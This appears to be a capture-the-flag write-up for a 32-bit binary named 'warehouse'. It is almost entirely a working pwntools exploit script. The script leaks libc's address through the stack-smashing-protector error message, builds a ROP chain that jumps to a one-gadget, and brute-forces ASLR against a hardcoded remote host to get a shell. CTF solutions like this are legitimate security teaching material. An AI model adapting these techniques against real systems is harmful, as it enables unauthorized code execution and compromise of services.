The challenge gives a relative write-what-where in a buffer on the stack. Using this, we can acquire a one-time arbitrary read in one run, and build our ROP chain for code execution in another run.
```#!/usr/bin/python"""Used Dragon Sector's SSP leak idea to get the base address of libc during one run, beforebruteforcing the 32-bit ASLR. Couldn't think of another way to get a read without crashingthe process, so this was the best I could come up with. Using the leak, one can abuse theweakness of ASLR on 32-bit Linux systems, and just bruteforce their way into a shell,either in minutes or seconds.
Reference:  http://j00ru.vexillium.org/blog/29_05_14/dragons.pdf
-0x100000000 is used where the unsigned value is > MAX_LONG and thus has to become signed in order to get value written."""
from pwn import *
binary = "./warehouse"
ip = '200.136.213.83'port = 8888
#DEBUG = TrueDEBUG = Falsecontext.log_level = "DEBUG"
elf = ELF(binary)
remote_libc = ELF("./libc.so.6")debug_libc = ELF("/lib/i386-linux-gnu/libc.so.6")
def get_libc():    if DEBUG:        return debug_libc    else:        return remote_libc
libc = get_libc()canary_offset = 0x40ret_offset = 0x48 #Right where we can begin building our rop chain
p = None
def get_pipe():    if DEBUG:        return process(binary)    else:        return remote(ip, port)
#Data at address if stderr is redirected to socket output. So we can get this.def leak_ssp(read_addr):    leak_proc = get_pipe()    #Overwrite argv[0]    leak_proc.sendline(str(0x6e))    leak_proc.sendline(str(read_addr))    #Smash the canary    leak_proc.sendline(str(canary_offset))    leak_proc.sendline(str(0x7fffffff)) #1 in 2^32 chance this would fail.    #Cause the crash    leak_proc.sendline(".")    leak_proc.recvuntil("***: ")    output = leak_proc.recv()    leak_proc.close()    return output[0:output.index(" terminated")]
#And we've got a working one-time read. What's a nice gadget?"""0x3a819 - esi = GOT address of libc, [esp+0x34] == NULL0x5f065 - esi = GOT address of libc, eax == NULL, this we can make happen I think.0x5f066 - esi = GOT address of libc, [esp] == NULL
To set up the esi, there's this...0x080486ad : pop esi ; pop edi ; pop ebp ; ret
So, pop_esi_edi_ebp_retlibc_got0x000000000x00000000"""
#Begin to build our guessstart_main = leak_ssp(elf.got['__libc_start_main'])start_main = unpack(start_main[0:4])libc_base = start_main - get_libc().symbols['__libc_start_main']
print "Gonna guess for libc_base", hex(libc_base)
if DEBUG:    magic_gadget = 0x5fbc5else:    magic_gadget = 0x5f065 #Remnant of code for own libc
#Build the ROP chainpop_esi_edi_ebp_ret = 0x080486ad#Legit, need to get the .got.plt address of them.
got_addr = get_libc().get_section_by_name('.got.plt').header['sh_addr']libc_got = libc_base + got_addr
#Don't be afraid to bruteforce 32-bit ASLRwhile True:    p = get_pipe()    #libc_base = int(raw_input("DEBUG: Where is libc's base?"), 16)    print "Guessing libc_base:", hex(libc_base)    p.sendline(str(ret_offset))    p.sendline(str(pop_esi_edi_ebp_ret))    p.sendline(str(ret_offset+1))    p.sendline(str(-0x100000000 + libc_got))    #eax should already be zero. Can skip over +2, and +3 for next ret    p.sendline(str(ret_offset+4))    p.sendline(str(-0x100000000 + libc_base + magic_gadget)) #Offset added to get value in
    p.sendline(".") #Hopefully get our shell?    time.sleep(1)    if "Your stuffs" not in p.recv():        print "No crash yet?"        p.interactive()     else:        p.close()
```